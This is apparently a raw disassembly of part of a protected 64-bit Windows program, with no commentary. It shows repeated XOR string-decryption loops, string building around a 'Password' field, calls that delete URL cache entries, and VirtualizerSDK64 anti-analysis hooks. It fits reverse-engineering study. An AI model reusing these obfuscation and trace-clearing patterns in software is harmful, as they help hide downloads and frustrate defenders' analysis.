packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140056c30
cmp r8d, 0x2d
jge 0x140056d61
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140056d30
mov rdx, r10
lea rcx, [rbp + 0x18e8]
call fcn.140064bd0
mov rdx, rax
lea r8, [0x140086268]
lea rcx, [rbp + 0x1908]
call fcn.1400655a0
mov r8, rbx
lea rcx, [rbp + 0x1928]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, str.Password
lea rcx, [rbp + 0x1948]
call fcn.1400655a0
mov r8, rsi
lea rcx, [rbp + 0x1968]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, [0x140074ba0]
lea rcx, [rbp + 0x1988]
call fcn.1400655a0
mov r8, r14
lea rcx, [rbp + 0x19a8]
mov rdx, rax
call fcn.140065610
mov r8, rdi
lea rcx, [rbp + 0x19c8]
mov rdx, rax
call fcn.1400655a0
mov r8, r12
lea rcx, [rbp + 0x19e8]
mov rdx, rax
call fcn.140065610
lea r8, [rbp + 0x17a8]
mov rdx, rax
lea rcx, [rbp + 0x1a08]
call fcn.140065610
mov rdx, rax
lea rcx, [rbp + 0x3bb0]
call fcn.140051cd0
lea rcx, [rbp + 0x19e8]
call fcn.140064ae0
lea rcx, [rbp + 0x19c8]
call fcn.140064ae0
lea rcx, [rbp + 0x19a8]
call fcn.140064ae0
lea rcx, [rbp + 0x1988]
call fcn.140064ae0
lea rcx, [rbp + 0x1968]
call fcn.140064ae0
lea rcx, [rbp + 0x1948]
call fcn.140064ae0
lea rcx, [rbp + 0x1928]
call fcn.140064ae0
lea rcx, [rbp + 0x1908]
call fcn.140064ae0
lea rcx, [rbp + 0x18e8]
call fcn.140064ae0
lea rcx, [rbp + 0x18c8]
call fcn.140064ae0
lea rcx, [rbp + 0x18a8]
call fcn.140064ae0
lea rcx, [rbp + 0x1888]
call fcn.140064ae0
lea rcx, [rbp + 0x1848]
call fcn.140064ae0
lea rcx, [rbp + 0x17a8]
call fcn.140064ae0
lea rdx, [rbp + 0x3720]
lea rcx, [rbp + 0x37]
call fcn.140063270
mov r10, rax
cmp byte [rax + 0x35], r15b
je 0x140057041
mov r8d, r15d
cmp r13d, 2
jl 0x140056ffd
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140056f10
cmp r8d, 0x36
jge 0x140057041
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x36
jl 0x140057010
mov rdx, r10
lea rcx, [rbp + 0x1a48]
call fcn.140064bd0
mov rdx, rax
lea r8, [0x140086268]
lea rcx, [rbp + 0x1a68]
call fcn.1400655a0
mov rdx, rax
lea rcx, [rbp + 0x3b90]
call fcn.140051cd0
lea rcx, [rbp + 0x1a48]
call fcn.140064ae0
lea rdx, [rbp + 0x37d0]
lea rcx, [rbp + 0x38]
call fcn.1400632b0
mov r10, rax
cmp byte [rax + 0x38], r15b
je 0x1400571f1
mov r8d, r15d
cmp r13d, 2
jl 0x1400571b1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x1400570c0
cmp r8d, 0x39
jge 0x1400571f1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x39
jl 0x1400571c0
mov rdx, r10
lea rcx, [rbp + 0x1aa8]
call fcn.140064bd0
mov rdx, rax
lea rcx, [rbp + 0x3b50]
call fcn.140051cd0
lea rdx, [rbp + 0x3810]
lea rcx, [rbp + 0x39]
call fcn.1400632f0
mov r10, rax
cmp byte [rax + 0x38], r15b
je 0x140057381
mov r8d, r15d
cmp r13d, 2
jl 0x140057341
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140057250
cmp r8d, 0x39
jge 0x140057381
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x39
jl 0x140057350
mov rdx, r10
lea rcx, [rbp + 0x1ae8]
call fcn.140064bd0
mov rdx, rax
lea rcx, [rbp + 0x3ab0]
call fcn.140051cd0
lea rdx, [rbp + 0x3758]
lea rcx, [rbp + 0x3a]
call fcn.140063270
mov r10, rax
cmp byte [rax + 0x35], r15b
je 0x140057511
mov r8d, r15d
cmp r13d, 2
jl 0x1400574d1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x1400573e0
cmp r8d, 0x36
jge 0x140057511
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x36
jl 0x1400574e0
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea rdx, [rbp + 0x3790]
lea rcx, [rbp + 0x3b]
call fcn.1400632b0
mov r10, rax
cmp byte [rax + 0x38], r15b
je 0x140057681
mov r8d, r15d
cmp r13d, 2
jl 0x140057641
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x140057550
cmp r8d, 0x39
jge 0x140057681
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x39
jl 0x140057650
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea rdx, [rbp + 0x3850]
lea rcx, [rbp + 0x3c]
call fcn.1400632f0
mov r10, rax
cmp byte [rax + 0x38], r15b
je 0x1400577f1
mov r8d, r15d
cmp r13d, 2
jl 0x1400577b1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x1400576c0
cmp r8d, 0x39
jge 0x1400577f1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x39
jl 0x1400577c0
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea rdx, [0x140086268]
lea rcx, [rbp + 0x1b28]
call fcn.140064bd0
lea rdx, [0x14006ac8a]
lea rcx, [rbp + 0x1b48]
call fcn.140064bd0
lea rdx, [rbp + 0x1b28]
lea rcx, [rbp + 0x1b48]
call fcn.1400524c0
lea rcx, [rbp + 0x1b48]
call fcn.140064ae0
lea rcx, [rbp + 0x1b28]
call fcn.140064ae0
lea rdx, [0x14006ac8a]
lea rcx, [rbp + 0x1b68]
call fcn.140064bd0
lea rdx, [rbp + 0x3b90]
lea rcx, [rbp + 0x1b68]
call fcn.1400527f0
lea rcx, [rbp + 0x1b68]
call fcn.140064ae0
lea rdx, [0x14006ac8a]
lea rcx, [rbp + 0x1b88]
call fcn.140064bd0
lea rdx, [rbp + 0x3b50]
lea rcx, [rbp + 0x1b88]
call fcn.140052ac0
lea rcx, [rbp + 0x1b88]
call fcn.140064ae0
lea rdx, [0x14006ac8a]
lea rcx, [rbp + 0x1ba8]
call fcn.140064bd0
lea rdx, [rbp + 0x3ab0]
lea rcx, [rbp + 0x1ba8]
call fcn.140052d90
lea rcx, [rbp + 0x1ba8]
call fcn.140064ae0
call fcn.140053080
cmp byte [0x140086e3d], 1
jne 0x1400578fc
xor al, al
mov cl, 1
jmp 0x140057900
mov al, 1
xor cl, cl
mov byte [reloc.VirtualizerSDK64.dll_Ordinal_1], cl
mov byte [0x140086e3a], cl
lea rcx, [rbp + 0x3ab0]
mov byte [0x140086dfa], al
mov byte [0x140086e3c], al
mov byte [0x140086dfb], 1
call fcn.140064ae0
lea rcx, [rbp + 0x3b50]
call fcn.140064ae0
lea rcx, [rbp + 0x3b90]
call fcn.140064ae0
lea rcx, [rbp + 0x3bb0]
call fcn.140064ae0
mov r12, qword [rbp + 0x228]
lea rcx, [rbp + 0x39d8]
call fcn.140064840
lea rcx, [rbp + 0x3bd0]
call fcn.140064ae0
call fcn.140011990
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_28]
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_2]
cmp byte [0x140086dfb], r15b
je 0x14005aebd
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_1]
call qword [sym.imp.VirtualizerSDK64.dll_Ordinal_27]
lea rdx, [rbp + 0xf8]
mov byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
lea rcx, [rbp + 0x3d]
mov byte [0x140086dff], r15b
call fcn.140062c80
movzx ecx, byte [rax + 4]
test cl, cl
je 0x1400579d7
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor cl, 0x36
mov byte [rax + 4], cl
xor edx, edx
mov r8d, 0xc003b
mov rcx, rax
call fcn.14000e7c0
movss xmm2, dword [0x140078680]
lea rcx, [rbp + 0x300]
movss xmm1, dword [0x14007868c]
call fcn.140001080
mov rcx, rax
xor edx, edx
call fcn.140012a40
movss xmm2, dword [0x1400785a0]
lea rcx, [rbp + 0x308]
movss xmm1, dword [0x140078598]
call fcn.140001080
mov rcx, rax
call fcn.140013890
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm13
movaps xmm2, xmm13
lea rcx, [rbp + 0xa00]
movaps xmm1, xmm13
call fcn.140001090
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm10
lea rcx, [rbp + 0xa10]
movaps xmm1, xmm10
mov r14, rax
call fcn.140001090
movaps xmm2, xmm10
lea rcx, [rbp + 0x310]
movaps xmm1, xmm10
mov rsi, rax
call fcn.140001080
movaps xmm2, xmm13
lea rcx, [rbp + 0x318]
movaps xmm1, xmm13
mov rdi, rax
call fcn.140001080
movss xmm2, dword [0x14007867c]
lea rcx, [rbp + 0x320]
movss xmm1, dword [0x140078688]
mov rbx, rax
call fcn.140001080
mov rcx, qword [rbp + 0x3958]
mov r9, rdi
mov r8, rbx
mov qword [rsp + 0x28], r14
mov rdx, rax
mov qword [rsp + 0x20], rsi
call fcn.140045500
mov edx, Ordinal_27
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xa20]
mov r8d, edx
call fcn.1400427e0
lea rdx, [rbp + 0xa30]
mov rcx, rax
call fcn.14002b020
mov edx, Ordinal_27
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xa40]
mov r8d, edx
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0x214], xmm0
call fcn.1400427e0
lea rdx, [rbp + 0xa50]
mov rcx, rax
call fcn.14002b020
mov edx, Ordinal_27
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xa60]
mov r8d, edx
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0x224], xmm0
call fcn.1400427e0
lea rdx, [rbp + 0xa70]
mov rcx, rax
call fcn.14002b020
mov rcx, qword [0x140086db0]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0x234], xmm0
call fcn.140012400
movss xmm2, dword [0x1400785d4]
lea rcx, [rbp + 0x328]
movss xmm1, dword [0x140078678]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov edx, 0xeb
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xa80]
mov r8d, edx
call fcn.1400427e0
lea rdx, [rbp + 0xa90]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x3e]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063330
mov rcx, rax
cmp byte [rax + 7], r15b
je 0x140057d21
cmp r13d, 2
jl 0x140057ce8
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rcx], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm12
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
jmp 0x140057d21
mov r9, rcx
mov r8d, r15d
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140057cf0
call fcn.140042da0
mov rcx, qword [0x140086db0]
call fcn.140012400
movss xmm2, dword [0x140078638]
lea rcx, [rbp + 0x338]
movss xmm1, dword [0x1400785ec]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov edx, 0xeb
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xaa0]
mov r8d, edx
call fcn.1400427e0
lea rdx, [rbp + 0xab0]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x3f]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063340
movzx ecx, byte [rax + 6]
test cl, cl
je 0x140057dc9
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor cl, 0x38
mov byte [rax + 6], cl
mov rcx, rax
call fcn.140042da0
movss xmm2, dword [0x1400785e0]
lea rcx, [rbp + 0x340]
movss xmm1, dword [0x1400785dc]
call fcn.140001080
mov rcx, rax
call fcn.140013890
movss xmm2, dword [0x1400785e4]
lea rcx, [rbp + 0x348]
movss xmm1, dword [0x140078668]
call fcn.140001080
mov r9, rax
lea rdx, [0x1400860ae]
xor r8d, r8d
lea rcx, [0x14006ac8a]
call fcn.14004c980
test al, al
je 0x140057e40
mov byte [0x140086dfd], r15b
mov byte [0x140086e39], r15b
movss xmm2, dword [0x1400785e0]
lea rcx, [rbp + 0x350]
movss xmm1, dword [0x1400785d8]
call fcn.140001080
mov rcx, rax
call fcn.140013890
movaps xmm3, xmm13
movss dword [rsp + 0x20], xmm13
movaps xmm2, xmm13
lea rcx, [rbp + 0xac0]
movaps xmm1, xmm13
call fcn.140001090
movaps xmm3, xmm10
movss dword [rsp + 0x20], xmm10
movaps xmm2, xmm10
lea rcx, [rbp + 0xad0]
movaps xmm1, xmm10
mov r14, rax
call fcn.140001090
movaps xmm2, xmm10
lea rcx, [rbp + 0x358]
movaps xmm1, xmm10
mov rsi, rax
call fcn.140001080
movaps xmm2, xmm13
lea rcx, [rbp + 0x360]
movaps xmm1, xmm13
mov rdi, rax
call fcn.140001080
movss xmm2, dword [0x1400785e4]
lea rcx, [rbp + 0x368]
movss xmm1, dword [0x140078664]
mov rbx, rax
call fcn.140001080
mov rcx, qword [rbp + 0x3960]
mov r9, rdi
mov r8, rbx
mov qword [rsp + 0x28], r14
mov rdx, rax
mov qword [rsp + 0x20], rsi
call fcn.140045500
movss xmm2, dword [0x1400785e8]
lea rcx, [rbp + 0x370]
movss xmm1, dword [0x14007860c]
call fcn.140001080
mov rcx, rax
call fcn.140013890
mov rcx, qword [0x140086d88]
call fcn.140012400
cmp byte [reloc.VirtualizerSDK64.dll_Ordinal_1], r15b
mov dword [rsp + 0x20], 0xff
je 0x140058106
mov edx, 0xa7
lea rcx, [rbp + 0xae0]
mov r9d, 5
mov r8d, 0xf7
call fcn.1400427e0
lea rdx, [rbp + 0xaf0]
mov rcx, rax
call fcn.14002b020
lea rdx, [rbp + 0xd60]
lea rcx, [rbp + 0x40]
movups xmm0, xmmword [rax]
movups xmmword [r12 + 0xc4], xmm0
call fcn.140063370
mov r10, rax
cmp byte [rax + 0x10], r15b
je 0x1400582a1
mov r8d, r15d
cmp r13d, 2
jl 0x1400580c1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x140057fd0
cmp r8d, 0x11
jge 0x1400582a1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1400580d0
jmp 0x1400582a1
mov edx, 0xff
lea rcx, [rbp + 0xb00]
mov r9d, edx
mov r8d, edx
call fcn.1400427e0
